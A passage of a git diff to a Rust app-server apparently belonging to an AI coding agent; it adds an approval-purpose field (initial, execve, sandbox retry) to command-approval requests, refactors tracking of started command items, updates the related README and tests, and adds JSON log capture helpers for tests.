"call_123".to_string(), started_at_ms: 0, approval_id: None, + approval_purpose: None, environment_id: None, reason: None, network_approval_context: None, diff --git a/codex-rs/app-server-protocol/src/protocol/v2/item.rs b/codex-rs/app-server-protocol/src/protocol/v2/item.rs index cd04752449..fcdb325fd8 100644 --- a/codex-rs/app-server-protocol/src/protocol/v2/item.rs +++ b/codex-rs/app-server-protocol/src/protocol/v2/item.rs @@ -11,6 +11,7 @@ use super::shared::v2_enum_from_core; use crate::protocol::item_builders::command_actions_for_path_uri; use crate::protocol::item_builders::convert_patch_changes; use codex_experimental_api_macros::ExperimentalApi; +use codex_protocol::approvals::ExecApprovalPurpose as CoreExecApprovalPurpose; use codex_protocol::approvals::GuardianAssessmentAction as CoreGuardianAssessmentAction; use codex_protocol::approvals::GuardianAssessmentDecisionSource as CoreGuardianAssessmentDecisionSource; use codex_protocol::approvals::GuardianCommandSource as CoreGuardianCommandSource; @@ -72,6 +73,14 @@ pub enum CommandExecutionApprovalDecision { Cancel, } +v2_enum_from_core! { + pub enum CommandExecutionApprovalPurpose from CoreExecApprovalPurpose { + Initial, + Execve, + SandboxRetry, + } +} + impl From for CommandExecutionApprovalDecision { fn from(value: CoreReviewDecision) -> Self { match value { @@ -1444,16 +1453,18 @@ pub struct CommandExecutionRequestApprovalParams { /// Unix timestamp (in milliseconds) when this approval request started. #[ts(type = "number")] pub started_at_ms: i64, - /// Unique identifier for this specific approval callback. + /// Opaque identifier for this specific approval callback, when present. /// - /// For regular shell/unified_exec approvals, this is null. - /// - /// For zsh-exec-bridge subcommand approvals, multiple callbacks can belong to - /// one parent `itemId`, so `approvalId` is a distinct opaque callback id - /// (a UUID) used to disambiguate routing. + /// Use the JSON-RPC request ID for the response. When tracking callback UI + /// or state outside that envelope, use this instead of `itemId` when it is + /// present. Absence is a legacy/cacheable compatibility path. #[serde(default, skip_serializing_if = "Option::is_none")] #[ts(optional = nullable)] pub approval_id: Option, + /// Semantic purpose of this approval request. Compatibility events may omit it. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[ts(optional = nullable)] + pub approval_purpose: Option, /// Environment in which the command will run. #[serde(default)] pub environment_id: Option, diff --git a/codex-rs/app-server-test-client/src/lib.rs b/codex-rs/app-server-test-client/src/lib.rs index a70945c468..401c450b0f 100644 --- a/codex-rs/app-server-test-client/src/lib.rs +++ b/codex-rs/app-server-test-client/src/lib.rs @@ -2065,6 +2065,7 @@ impl CodexClient { item_id, started_at_ms: _, approval_id, + approval_purpose: _, environment_id, reason, network_approval_context, diff --git a/codex-rs/app-server/README.md b/codex-rs/app-server/README.md index c9ac2f5fb2..84bf2b205e 100644 --- a/codex-rs/app-server/README.md +++ b/codex-rs/app-server/README.md @@ -1453,7 +1453,7 @@ Certain actions (shell commands or modifying files) may require explicit user ap Order of messages: 1. `item/started` — shows the pending `commandExecution` item with `command`, `cwd`, and other fields so you can render the proposed action. -2. `item/commandExecution/requestApproval` (request) — carries the same `itemId`, `threadId`, `turnId`, the nullable `environmentId` where the command will run, optionally `approvalId` (for subcommand callbacks), and `reason`. New shell and unified-exec approvals set `environmentId`; older events that do not provide one are exposed as `null`. For normal command approvals, the request also includes `command`, `cwd`, and `commandActions` for friendly display. When `initialize.params.capabilities.experimentalApi = true`, it may also include experimental `additionalPermissions` describing requested per-command sandbox access; any filesystem paths in that payload are absolute on the wire, and network access is represented as `additionalPermissions.network.enabled`. For network-only approvals, those command fields may be omitted and `networkApprovalContext` is provided instead. Optional persistence hints may also be included via `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments`. Clients can prefer `availableDecisions` when present to render the exact set of choices the server wants to expose, while still falling back to the older heuristics if it is omitted. +2. `item/commandExecution/requestApproval` (request) — carries the same `itemId`, `threadId`, `turnId`, the nullable `environmentId` where the command will run, optionally `approvalId`, `approvalPurpose`, and `reason`. `itemId` remains the stable command-item identity. Use the server-initiated JSON-RPC request ID for the response. When tracking approval UI or state outside that envelope, `approvalId`, when present, is the opaque identity of this callback and distinguishes it from other callbacks on the same `itemId`; compatibility flows may omit it. `approvalPurpose`, when present, distinguishes an initial prompt, execve/subcommand callback, or sandbox retry without relying on display text; compatibility events may omit it. A follow-up callback may reuse an active item without another `item/started`; if the prior attempt already completed, the server can restart the same `itemId` before requesting retry approval. New shell and unified-exec approvals set `environmentId`; older events that do not provide one are exposed as `null`. For normal command approvals, the request also includes `command`, `cwd`, and `commandActions` for friendly display. When `initialize.params.capabilities.experimentalApi = true`, it may also include experimental `additionalPermissions` describing requested per-command sandbox access; any filesystem paths in that payload are absolute on the wire, and network access is represented as `additionalPermissions.network.enabled`. For network-only approvals, those command fields may be omitted and `networkApprovalContext` is provided instead. Optional persistence hints may also be included via `proposedExecpolicyAmendment` and `proposedNetworkPolicyAmendments`. Clients can prefer `availableDecisions` when present to render the exact set of choices the server wants to expose, while still falling back to the older heuristics if it is omitted. 3. Client response — for example `{ "decision": "accept" }`, `{ "decision": "acceptForSession" }`, `{ "decision": { "acceptWithExecpolicyAmendment": { "execpolicy_amendment": [...] } } }`, `{ "decision": { "applyNetworkPolicyAmendment": { "network_policy_amendment": { "host": "example.com", "action": "allow" } } } }`, `{ "decision": "decline" }`, or `{ "decision": "cancel" }`. 4. `serverRequest/resolved` — `{ threadId, requestId }` confirms the pending request has been resolved or cleared, including lifecycle cleanup on turn start/complete/interrupt. 5. `item/completed` — final `commandExecution` item with `status: "completed" | "failed" | "declined"` and execution output. Render this as the authoritative result. diff --git a/codex-rs/app-server/src/bespoke_event_handling.rs b/codex-rs/app-server/src/bespoke_event_handling.rs index c63103161f..f1386db1d4 100644 --- a/codex-rs/app-server/src/bespoke_event_handling.rs +++ b/codex-rs/app-server/src/bespoke_event_handling.rs @@ -6,6 +6,7 @@ use crate::request_processors::populate_thread_turns_from_history; use crate::request_processors::thread_from_stored_thread; use crate::request_processors::thread_settings_from_core_snapshot; use crate::server_request_error::is_turn_transition_server_request_error; +use crate::thread_state::CommandExecutionItemMetadata; use crate::thread_state::ThreadState; use crate::thread_state::TurnSummary; use crate::thread_state::resolve_server_request_on_thread_listener; @@ -82,6 +83,7 @@ use codex_app_server_protocol::TurnPlanUpdatedNotification; use codex_app_server_protocol::TurnStartedNotification; use codex_app_server_protocol::TurnStatus; use codex_app_server_protocol::WarningNotification; +use codex_app_server_protocol::build_command_execution_begin_item; use codex_app_server_protocol::build_item_from_guardian_event; use codex_app_server_protocol::guardian_auto_approval_review_notification; use codex_app_server_protocol::item_event_to_server_notification; @@ -96,6 +98,7 @@ use codex_protocol::plan_tool::UpdatePlanArgs; use codex_protocol::protocol::CodexErrorInfo as CoreCodexErrorInfo; use codex_protocol::protocol::Event; use codex_protocol::protocol::EventMsg; +use codex_protocol::protocol::ExecApprovalPurpose; use codex_protocol::protocol::ExecApprovalRequestEvent; use codex_protocol::protocol::Op; use codex_protocol::protocol::RealtimeEvent; @@ -128,12 +131,7 @@ enum CommandExecutionApprovalPresentation { Command(CommandExecutionCompletionItem), } -#[derive(Debug, PartialEq)] -struct CommandExecutionCompletionItem { - command: String, - cwd: LegacyAppPathString, - command_actions: Vec, -} +type CommandExecutionCompletionItem = CommandExecutionItemMetadata; #[allow(clippy::too_many_arguments)] pub(crate) async fn apply_bespoke_event_handling( @@ -305,17 +303,14 @@ pub(crate) async fn apply_bespoke_event_handling( | codex_protocol::protocol::GuardianAssessmentStatus::Approved => None, }; if let Some(completion_status) = completion_status - && let Some((target_item_id, completion_item)) = pending_command_execution + && let Some((target_item_id, _)) = pending_command_execution { complete_command_execution_item( &conversation_id, assessment_turn_id, target_item_id, - completion_item.command, - completion_item.cwd, /*process_id*/ None, CommandExecutionSource::Agent, - completion_item.command_actions, completion_status, &outgoing, &thread_state, @@ -567,6 +562,8 @@ pub(crate) async fn apply_bespoke_event_handling( .into_iter() .map(CommandExecutionApprovalDecision::from) .collect::>(); + let effective_approval_purpose = ev.effective_approval_purpose(); + let approval_purpose = ev.approval_purpose.map(Into::into); let ExecApprovalRequestEvent { call_id, approval_id, @@ -614,9 +611,7 @@ pub(crate) async fn apply_bespoke_event_handling( Some(completion_item), ), }; - if approval_id.is_none() - && let Some(completion_item) = completion_item.as_ref() - { + let started_now = if let Some(completion_item) = completion_item.as_ref() { start_command_execution_item( &conversation_id, event_turn_id.clone(), @@ -628,8 +623,10 @@ pub(crate) async fn apply_bespoke_event_handling( &outgoing, &thread_state, ) - .await; - } + .await + } else { + false + }; let proposed_execpolicy_amendment_v2 = proposed_execpolicy_amendment.map(V2ExecPolicyAmendment::from); let proposed_network_policy_amendments_v2 = @@ -641,13 +638,13 @@ pub(crate) async fn apply_bespoke_event_handling( }); let additional_permissions = additional_permissions.map(V2AdditionalPermissionProfile::from); - let params = CommandExecutionRequestApprovalParams { thread_id: conversation_id.to_string(), turn_id: turn_id.clone(), item_id: call_id.clone(), started_at_ms, approval_id: approval_id.clone(), + approval_purpose, environment_id, reason, network_approval_context, @@ -671,6 +668,8 @@ pub(crate) async fn apply_bespoke_event_handling( approval_id, call_id, completion_item, + started_now, + effective_approval_purpose, pending_request_id, rx, conversation, @@ -1117,13 +1116,25 @@ pub(crate) async fn apply_bespoke_event_handling( return; } let item_id = exec_command_begin_event.call_id.clone(); - let first_start = { - let mut state = thread_state.lock().await; - state - .turn_summary - .command_execution_started - .insert(item_id.clone()) + let ThreadItem::CommandExecution { + command, + cwd, + command_actions, + .. + } = build_command_execution_begin_item(&exec_command_begin_event) + else { + unreachable!("command begin must build a command execution item") }; + let first_start = note_started_command_execution_item( + &thread_state, + item_id, + CommandExecutionCompletionItem { + command, + cwd, + command_actions, + }, + ) + .await; if first_start { let notification = item_event_to_server_notification( EventMsg::ExecCommandBegin(exec_command_begin_event), @@ -1143,13 +1154,9 @@ pub(crate) async fn apply_bespoke_event_handling( } EventMsg::ExecCommandEnd(exec_command_end_event) => { let call_id = exec_command_end_event.call_id.clone(); - { - let mut state = thread_state.lock().await; - state - .turn_summary - .command_execution_started - .remove(&call_id); - } + let should_emit = remove_started_command_execution_item(&thread_state, &call_id) + .await + .is_some(); if matches!( exec_command_end_event.source, codex_protocol::protocol::ExecCommandSource::UnifiedExecInteraction @@ -1159,6 +1166,12 @@ pub(crate) async fn apply_bespoke_event_handling( // emitted for unified exec interactions. return; } + if !should_emit { + // An approval response may have completed the command item + // before a late process-end event arrives. Do not emit a + // second completion for an item that is no longer active. + return; + } let notification = item_event_to_server_notification( EventMsg::ExecCommandEnd(exec_command_end_event), &conversation_id.to_string(), @@ -1381,13 +1394,16 @@ async fn start_command_execution_item( outgoing: &ThreadScopedOutgoingMessageSender, thread_state: &Arc>, ) -> bool { - let first_start = { - let mut state = thread_state.lock().await; - state - .turn_summary - .command_execution_started - .insert(item_id.clone()) - }; + let first_start = note_started_command_execution_item( + thread_state, + item_id.clone(), + CommandExecutionCompletionItem { + command: command.clone(), + cwd: cwd.clone(), + command_actions: command_actions.clone(), + }, + ) + .await; if first_start { let notification = ItemStartedNotification { thread_id: conversation_id.to_string(), @@ -1418,33 +1434,25 @@ async fn complete_command_execution_item( conversation_id: &ThreadId, turn_id: String, item_id: String, - command: String, - cwd: LegacyAppPathString, process_id: Option, source: CommandExecutionSource, - command_actions: Vec, status: CommandExecutionStatus, outgoing: &ThreadScopedOutgoingMessageSender, thread_state: &Arc>, ) { - let should_emit = thread_state - .lock() - .await - .turn_summary - .command_execution_started - .remove(&item_id); - if !should_emit { + let Some(completion_item) = remove_started_command_execution_item(thread_state, &item_id).await + else { return; - } + }; let item = ThreadItem::CommandExecution { id: item_id, - command, - cwd, + command: completion_item.command, + cwd: completion_item.cwd, process_id, source, status, - command_actions, + command_actions: completion_item.command_actions, aggregated_output: None, exit_code: None, duration_ms: None, @@ -1460,6 +1468,34 @@ async fn complete_command_execution_item( .await; } +async fn note_started_command_execution_item( + thread_state: &Arc>, + item_id: String, + completion_item: CommandExecutionCompletionItem, +) -> bool { + let mut state = thread_state.lock().await; + if let std::collections::hash_map::Entry::Vacant(entry) = + state.turn_summary.command_execution_started.entry(item_id) + { + entry.insert(completion_item); + true + } else { + false + } +} + +async fn remove_started_command_execution_item( + thread_state: &Arc>, + item_id: &str, +) -> Option { + thread_state + .lock() + .await + .turn_summary + .command_execution_started + .remove(item_id) +} + async fn maybe_emit_raw_response_item_completed( conversation_id: ThreadId, turn_id: &str, @@ -2050,6 +2086,8 @@ async fn on_command_execution_request_approval_response( approval_id: Option, item_id: String, completion_item: Option, + started_now: bool, + approval_purpose: ExecApprovalPurpose, pending_request_id: RequestId, receiver: oneshot::Receiver, conversation: Arc, @@ -2060,7 +2098,7 @@ async fn on_command_execution_request_approval_response( let response = receiver.await; resolve_server_request_on_thread_listener(&thread_state, pending_request_id).await; drop(permission_guard); - let (decision, completion_status) = match response { + let (decision, completion_status, cancel_requested) = match response { Ok(Ok(value)) => { let response = serde_json::from_value::(value) .unwrap_or_else(|err| { @@ -2072,10 +2110,10 @@ async fn on_command_execution_request_approval_response( let decision = response.decision; - let (decision, completion_status) = match decision { - CommandExecutionApprovalDecision::Accept => (ReviewDecision::Approved, None), + let (decision, completion_status, cancel_requested) = match decision { + CommandExecutionApprovalDecision::Accept => (ReviewDecision::Approved, None, false), CommandExecutionApprovalDecision::AcceptForSession => { - (ReviewDecision::ApprovedForSession, None) + (ReviewDecision::ApprovedForSession, None, false) } CommandExecutionApprovalDecision::AcceptWithExecpolicyAmendment { execpolicy_amendment, @@ -2084,6 +2122,7 @@ async fn on_command_execution_request_approval_response( proposed_execpolicy_amendment: execpolicy_amendment.into_core(), }, None, + false, ), CommandExecutionApprovalDecision::ApplyNetworkPolicyAmendment { network_policy_amendment, @@ -2097,58 +2136,60 @@ async fn on_command_execution_request_approval_response( network_policy_amendment: network_policy_amendment.into_core(), }, completion_status, + false, ) } CommandExecutionApprovalDecision::Decline => ( ReviewDecision::Denied, Some(CommandExecutionStatus::Declined), + false, ), CommandExecutionApprovalDecision::Cancel => ( ReviewDecision::Abort, Some(CommandExecutionStatus::Declined), + true, ), }; - (decision, completion_status) + (decision, completion_status, cancel_requested) } Ok(Err(err)) if is_turn_transition_server_request_error(&err) => return, Ok(Err(err)) => { error!("request failed with client error: {err:?}"); - (ReviewDecision::Denied, Some(CommandExecutionStatus::Failed)) + ( + ReviewDecision::Denied, + Some(CommandExecutionStatus::Failed), + false, + ) } Err(err) => { error!("request failed: {err:?}"); - (ReviewDecision::Denied, Some(CommandExecutionStatus::Failed)) + ( + ReviewDecision::Denied, + Some(CommandExecutionStatus::Failed), + false, + ) } }; - let suppress_subcommand_completion_item = { - // For regular shell/unified_exec approvals, approval_id is null. - // For zsh-fork subcommand approvals, approval_id is present and - // item_id points to the parent command item. - if approval_id.is_some() { - let state = thread_state.lock().await; - state - .turn_summary - .command_execution_started - .contains(&item_id) - } else { - false - } - }; + // An execve callback can target a command item that is still active (for + // example, zsh-exec-bridge), while a sandbox retry represents a new attempt. + // Suppress duplicate completion only for a non-canceling callback of the + // former kind. A declined retry must complete the item even when its initial + // approval already started it and no begin/end event ran before the sandbox + // denial; cancel must also close the item before aborting. + let suppress_repeated_prompt_completion_item = + suppress_repeated_prompt_completion_item(started_now, approval_purpose, cancel_requested); if let Some(status) = completion_status - && !suppress_subcommand_completion_item - && let Some(completion_item) = completion_item + && !suppress_repeated_prompt_completion_item + && completion_item.is_some() { complete_command_execution_item( &conversation_id, event_turn_id.clone(), item_id.clone(), - completion_item.command, - completion_item.cwd, /*process_id*/ None, CommandExecutionSource::Agent, - completion_item.command_actions, status, &outgoing, &thread_state, @@ -2168,6 +2209,14 @@ async fn on_command_execution_request_approval_response( } } +fn suppress_repeated_prompt_completion_item( + started_now: bool, + approval_purpose: ExecApprovalPurpose, + cancel_requested: bool, +) -> bool { + !started_now && approval_purpose == ExecApprovalPurpose::Execve && !cancel_requested +} + fn now_unix_timestamp_ms() -> i64 { SystemTime::now() .duration_since(UNIX_EPOCH) @@ -2576,153 +2625,116 @@ mod tests { } #[tokio::test] - async fn command_execution_started_helper_emits_once() -> Result<()> { + async fn repeated_start_retains_parent_metadata_for_completion() -> Result<()> { let conversation_id = ThreadId::new(); let thread_state = new_thread_state(); let (tx, mut rx) = mpsc::channel(CHANNEL_CAPACITY); - let outgoing = Arc::new(OutgoingMessageSender::new( - tx, - codex_analytics::AnalyticsEventsClient::disabled(), - )); let outgoing = ThreadScopedOutgoingMessageSender::new( - outgoing, + Arc::new(OutgoingMessageSender::new( + tx, + codex_analytics::AnalyticsEventsClient::disabled(), + )), vec![ConnectionId(1)], - ThreadId::new(), + conversation_id, ); - let completion_item = command_execution_completion_item("printf hi"); + let parent = command_execution_completion_item("parent-command"); + let child = CommandExecutionCompletionItem { + command: "child-command".to_string(), + cwd: test_path_buf("/child").abs().into(), + command_actions: vec![], + }; - let first_start = start_command_execution_item( + assert!( + start_command_execution_item( + &conversation_id, + "turn-1".to_string(), + "cmd-1".to_string(), + parent.command.clone(), + parent.cwd.clone(), + parent.command_actions.clone(), + CommandExecutionSource::Agent, + &outgoing, + &thread_state, + ) + .await + ); + let _started = recv_broadcast_message(&mut rx).await?; + assert!( + !start_command_execution_item( + &conversation_id, + "turn-1".to_string(), + "cmd-1".to_string(), + child.command, + child.cwd, + child.command_actions, + CommandExecutionSource::Agent, + &outgoing, + &thread_state, + ) + .await + ); + complete_command_execution_item( &conversation_id, "turn-1".to_string(), "cmd-1".to_string(), - completion_item.command.clone(), - completion_item.cwd.clone(), - completion_item.command_actions.clone(), + /*process_id*/ None, CommandExecutionSource::Agent, + CommandExecutionStatus::Declined, &outgoing, &thread_state, ) .await; - assert!(first_start); - let msg = recv_broadcast_message(&mut rx).await?; - match msg { - OutgoingMessage::AppServerNotification(ServerNotification::ItemStarted(payload)) => { - assert_eq!(payload.thread_id, conversation_id.to_string()); - assert_eq!(payload.turn_id, "turn-1"); - assert_eq!( - payload.item, - ThreadItem::CommandExecution { - id: "cmd-1".to_string(), - command: completion_item.command.clone(), - cwd: completion_item.cwd.clone(), - process_id: None, - source: CommandExecutionSource::Agent, - status: CommandExecutionStatus::InProgress, - command_actions: completion_item.command_actions.clone(), - aggregated_output: None, - exit_code: None, - duration_ms: None, - } - ); - } - other => bail!("unexpected message: {other:?}"), - } - - let second_start = start_command_execution_item( - &conversation_id, - "turn-1".to_string(), - "cmd-1".to_string(), - completion_item.command.clone(), - completion_item.cwd.clone(), - completion_item.command_actions.clone(), - CommandExecutionSource::Agent, - &outgoing, - &thread_state, - ) - .await; - assert!(!second_start); - assert!(rx.try_recv().is_err(), "duplicate start should not emit"); + let OutgoingMessage::AppServerNotification(ServerNotification::ItemCompleted(payload)) = + recv_broadcast_message(&mut rx).await? + else { + bail!("expected item/completed"); + }; + let ThreadItem::CommandExecution { + id, + command, + cwd, + command_actions, + status, + .. + } = payload.item + else { + bail!("expected command execution item"); + }; + assert_eq!( + (id, command, cwd, command_actions, status), + ( + "cmd-1".to_string(), + parent.command, + parent.cwd, + parent.command_actions, + CommandExecutionStatus::Declined, + ) + ); + assert!( + remove_started_command_execution_item(&thread_state, "cmd-1") + .await + .is_none() + ); Ok(()) } - #[tokio::test] - async fn complete_command_execution_item_emits_declined_once_for_pending_command() -> Result<()> - { - let conversation_id = ThreadId::new(); - let thread_state = new_thread_state(); - let (tx, mut rx) = mpsc::channel(CHANNEL_CAPACITY); - let outgoing = Arc::new(OutgoingMessageSender::new( - tx, - codex_analytics::AnalyticsEventsClient::disabled(), - )); - let outgoing = ThreadScopedOutgoingMessageSender::new( - outgoing, - vec![ConnectionId(1)], - ThreadId::new(), - ); - let completion_item = command_execution_completion_item("printf hi"); - - start_command_execution_item( - &conversation_id, - "turn-1".to_string(), - "cmd-1".to_string(), - completion_item.command.clone(), - completion_item.cwd.clone(), - completion_item.command_actions.clone(), - CommandExecutionSource::Agent, - &outgoing, - &thread_state, - ) - .await; - let _started = recv_broadcast_message(&mut rx).await?; - - complete_command_execution_item( - &conversation_id, - "turn-1".to_string(), - "cmd-1".to_string(), - completion_item.command.clone(), - completion_item.cwd.clone(), - /*process_id*/ None, - CommandExecutionSource::Agent, - completion_item.command_actions.clone(), - CommandExecutionStatus::Declined, - &outgoing, - &thread_state, - ) - .await; - - let completed = recv_broadcast_message(&mut rx).await?; - match completed { - OutgoingMessage::AppServerNotification(ServerNotification::ItemCompleted(payload)) => { - let ThreadItem::CommandExecution { id, status, .. } = payload.item else { - bail!("expected command execution completion"); - }; - assert_eq!(id, "cmd-1"); - assert_eq!(status, CommandExecutionStatus::Declined); - } - other => bail!("unexpected message: {other:?}"), + #[test] + fn repeated_approval_response_lifecycle_truth_table() { + let cases = [ + (ExecApprovalPurpose::Initial, false, false, false), + (ExecApprovalPurpose::Initial, false, true, false), + (ExecApprovalPurpose::SandboxRetry, false, false, false), + (ExecApprovalPurpose::Execve, false, false, true), + (ExecApprovalPurpose::Execve, false, true, false), + (ExecApprovalPurpose::Execve, true, false, false), + ]; + for (purpose, started_now, cancel, expected) in cases { + assert_eq!( + suppress_repeated_prompt_completion_item(started_now, purpose, cancel), + expected + ); } - - complete_command_execution_item( - &conversation_id, - "turn-1".to_string(), - "cmd-1".to_string(), - completion_item.command, - completion_item.cwd, - /*process_id*/ None, - CommandExecutionSource::Agent, - completion_item.command_actions, - CommandExecutionStatus::Declined, - &outgoing, - &thread_state, - ) - .await; - assert!( - rx.try_recv().is_err(), - "completion should not emit after the pending item is cleared" - ); - Ok(()) } #[tokio::test] diff --git a/codex-rs/app-server/src/outgoing_message.rs b/codex-rs/app-server/src/outgoing_message.rs index 16d5c2ff9d..9a30a6f694 100644 --- a/codex-rs/app-server/src/outgoing_message.rs +++ b/codex-rs/app-server/src/outgoing_message.rs @@ -1013,6 +1013,7 @@ mod tests { item_id: "item-1".to_string(), started_at_ms: 0, approval_id: None, + approval_purpose: None, environment_id: None, reason: None, network_approval_context: None, diff --git a/codex-rs/app-server/src/thread_state.rs b/codex-rs/app-server/src/thread_state.rs index fec786373c..66d1290906 100644 --- a/codex-rs/app-server/src/thread_state.rs +++ b/codex-rs/app-server/src/thread_state.rs @@ -1,5 +1,6 @@ use crate::outgoing_message::ConnectionId; use crate::outgoing_message::ConnectionRequestId; +use codex_app_server_protocol::CommandAction; use codex_app_server_protocol::RequestId; use codex_app_server_protocol::ThreadGoal; use codex_app_server_protocol::ThreadHistoryBuilder; @@ -29,6 +30,13 @@ use tracing::error; type PendingInterruptQueue = Vec; +#[derive(Clone, Debug, PartialEq)] +pub(crate) struct CommandExecutionItemMetadata { + pub(crate) command: String, + pub(crate) cwd: LegacyAppPathString, + pub(crate) command_actions: Vec, +} + pub(crate) struct PendingThreadResumeRequest { pub(crate) request_id: ConnectionRequestId, pub(crate) history_items: Vec, @@ -70,7 +78,7 @@ pub(crate) enum ThreadListenerCommand { #[derive(Default, Clone)] pub(crate) struct TurnSummary { pub(crate) started_at: Option, - pub(crate) command_execution_started: HashSet, + pub(crate) command_execution_started: HashMap, pub(crate) last_error: Option, } diff --git a/codex-rs/app-server/src/transport_tests.rs b/codex-rs/app-server/src/transport_tests.rs index 439284a176..780aebd639 100644 --- a/codex-rs/app-server/src/transport_tests.rs +++ b/codex-rs/app-server/src/transport_tests.rs @@ -250,6 +250,7 @@ async fn command_execution_request_approval_strips_additional_permissions_withou item_id: "call_123".to_string(), started_at_ms: 0, approval_id: None, + approval_purpose: None, environment_id: None, reason: Some("Need extra read access".to_string()), network_approval_context: None, @@ -316,6 +317,7 @@ async fn command_execution_request_approval_keeps_additional_permissions_with_ca item_id: "call_123".to_string(), started_at_ms: 0, approval_id: None, + approval_purpose: None, environment_id: None, reason: Some("Need extra read access".to_string()), network_approval_context: None, diff --git a/codex-rs/app-server/tests/common/json_logging.rs b/codex-rs/app-server/tests/common/json_logging.rs index c6c78bd0a4..8683d1bdaf 100644 --- a/codex-rs/app-server/tests/common/json_logging.rs +++ b/codex-rs/app-server/tests/common/json_logging.rs @@ -1,11 +1,79 @@ use std::path::Path; use std::process::Command; use std::process::Stdio; +use std::sync::Arc; +use std::sync::Mutex; +use std::time::Duration; use anyhow::Context; use anyhow::Result; use serde_json::Value; use serde_json::json; +use tokio::sync::Notify; + +#[derive(Clone, Default)] +pub(crate) struct JsonLogCapture { + lines: Arc>>, + updated: Arc, +} + +impl JsonLogCapture { + pub(crate) fn record(&self, line: String) { + self.lines + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .push(line); + self.updated.notify_one(); + } + + pub(crate) async fn wait_for_event(&self, event_name: &str) -> Result { + let mut events = self.wait_for_events(event_name, /*count*/ 1).await?; + Ok(events.remove(0)) + } + + pub(crate) async fn wait_for_events( + &self, + event_name: &str, + count: usize, + ) -> Result> { + let result = tokio::time::timeout(Duration::from_secs(10), async { + loop { + let updated = self.updated.notified(); + let events = self + .events()? + .into_iter() + .filter(|event| event["fields"]["event.name"].as_str() == Some(event_name)) + .collect::>(); + if events.len() >= count { + return Ok(events); + } + updated.await; + } + }) + .await; + match result { + Ok(result) => result, + Err(_) => { + let lines = self + .lines + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .join("\n"); + anyhow::bail!( + "timed out waiting for {count} JSON log event(s) named `{event_name}`; captured stderr:\n{lines}" + ) + } + } + } + + pub(crate) fn events(&self) -> Result> { + let lines = self + .lines + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner); + json_log_events(lines.iter().map(String::as_str)) + } +} pub fn app_server_json_shutdown_event( binary: &str, @@ -31,25 +99,39 @@ pub fn app_server_json_shutdown_event( let stderr = String::from_utf8(output.stderr)?; anyhow::ensure!(output.status.success(), "app-server failed: {stderr}"); - let events = stderr - .lines() - .filter(|line| !line.is_empty()) - .map(serde_json::from_str::) - .collect::>>() - .with_context(|| format!("app-server stderr was not JSONL: {stderr}"))?; + let events = json_log_events(stderr.lines()) + .with_context(|| format!("app-server stderr was not valid JSONL: {stderr}"))?; let event = events .iter() .find(|event| event["fields"]["message"] == "processor task exited") .context("missing INFO shutdown event in app-server JSON logs")?; - let timestamp = event["timestamp"] - .as_str() - .context("shutdown event did not include a timestamp")?; - chrono::DateTime::parse_from_rfc3339(timestamp) - .with_context(|| format!("shutdown event timestamp was not RFC 3339: {timestamp}"))?; - Ok(json!({ "level": event["level"], "fields": event["fields"], "target": event["target"], })) } + +fn json_log_events<'a>(lines: impl IntoIterator) -> Result> { + lines + .into_iter() + .filter(|line| !line.is_empty()) + .map(|line| { + let event = serde_json::from_str::(line) + .with_context(|| format!("log line was not JSON: {line}"))?; + anyhow::ensure!( + event["level"].is_string() + && event["fields"].is_object() + && event["target"].is_string(), + "JSON log event did not include level, fields, and target: {line}" + ); + let timestamp = event["timestamp"] + .as_str() + .with_context(|| format!("JSON log event did not include a timestamp: {line}"))?; + chrono::DateTime::parse_from_rfc3339(timestamp).with_context(|| { + format!("JSON log event timestamp was not RFC 3339: {timestamp}") + })?; + Ok(event) + }) + .collect() +} diff --git a/codex-rs/app-server/tests/common/test_app_server.rs b/codex-rs/app-server/tests/common/test_app_server.rs index fbe43e7689..cbb8ff161e 100644 --- a/codex-rs/app-server/tests/common/test_app_server.rs +++ b/codex-rs/app-server/tests/common/test_app_server.rs @@ -123,6 +123,8 @@ use core_test_support::test_codex::TestEnv; use core_test_support::test_codex::test_env; use tokio::process::Command; +use crate::json_logging::JsonLogCapture; + pub struct TestAppServer { next_request_id: AtomicI64, /// Retain this child process until the client is dropped. The Tokio runtime @@ -134,6 +136,7 @@ pub struct TestAppServer { stdout: BufReader, pending_messages: VecDeque, auto_env: Option, + json_logs: JsonLogCapture, } pub const DEFAULT_CLIENT_NAME: &str = "codex-app-server-tests"; @@ -160,6 +163,31 @@ impl TestAppServer { /// URL-based configuration, this helper rejects a `codex_home` containing /// that file. pub async fn new_with_auto_env(codex_home: &Path) -> anyhow::Result { + Self::new_with_auto_env_and_env(codex_home, &[]).await + } + + /// Starts an auto-environment app server that emits JSON logs. + /// + /// `rust_log` is the value to use for the `RUST_LOG` environment variable. + pub async fn new_with_auto_env_and_json_logging( + codex_home: &Path, + rust_log: impl Into, + ) -> anyhow::Result { + let rust_log = rust_log.into(); + Self::new_with_auto_env_and_env( + codex_home, + &[ + ("LOG_FORMAT", Some("json")), + ("RUST_LOG", Some(rust_log.as_str())), + ], + ) + .await + } + + async fn new_with_auto_env_and_env( + codex_home: &Path, + extra_env_overrides: &[(&str, Option<&str>)], + ) -> anyhow::Result { let environments_toml = codex_home.join("environments.toml"); ensure!( !environments_toml @@ -172,7 +200,7 @@ impl TestAppServer { let auto_env = test_env().await?; // Noise registry configuration takes precedence over the URL-based // provider, so clear inherited values to keep the selection hermetic. - let env_overrides = [ + let mut env_overrides = vec![ ( CODEX_EXEC_SERVER_URL_ENV_VAR, auto_env.environment().exec_server_url(), @@ -182,6 +210,7 @@ impl TestAppServer { (CODEX_EXEC_SERVER_NOISE_AUTH_TOKEN_ENV_VAR, None), (CODEX_EXEC_SERVER_NOISE_CHATGPT_ACCOUNT_ID_ENV_VAR, None), ]; + env_overrides.extend_from_slice(extra_env_overrides); let mut app_server = Self::new_with_env(codex_home, &env_overrides).await?; app_server.auto_env = Some(auto_env); Ok(app_server) @@ -202,6 +231,28 @@ impl TestAppServer { }) } + /// Waits for a JSON stderr event whose structured `event.name` field matches. + pub async fn wait_for_json_log_event( + &self, + event_name: &str, + ) -> anyhow::Result { + self.json_logs.wait_for_event(event_name).await + } + + /// Waits for the requested number of JSON stderr events with the same `event.name` field. + pub async fn wait_for_json_log_events( + &self, + event_name: &str, + count: usize, + ) -> anyhow::Result> { + self.json_logs.wait_for_events(event_name, count).await + } + + /// Returns every stderr line parsed and validated as a JSON log event. + pub fn json_log_events(&self) -> anyhow::Result> { + self.json_logs.events() + } + pub async fn 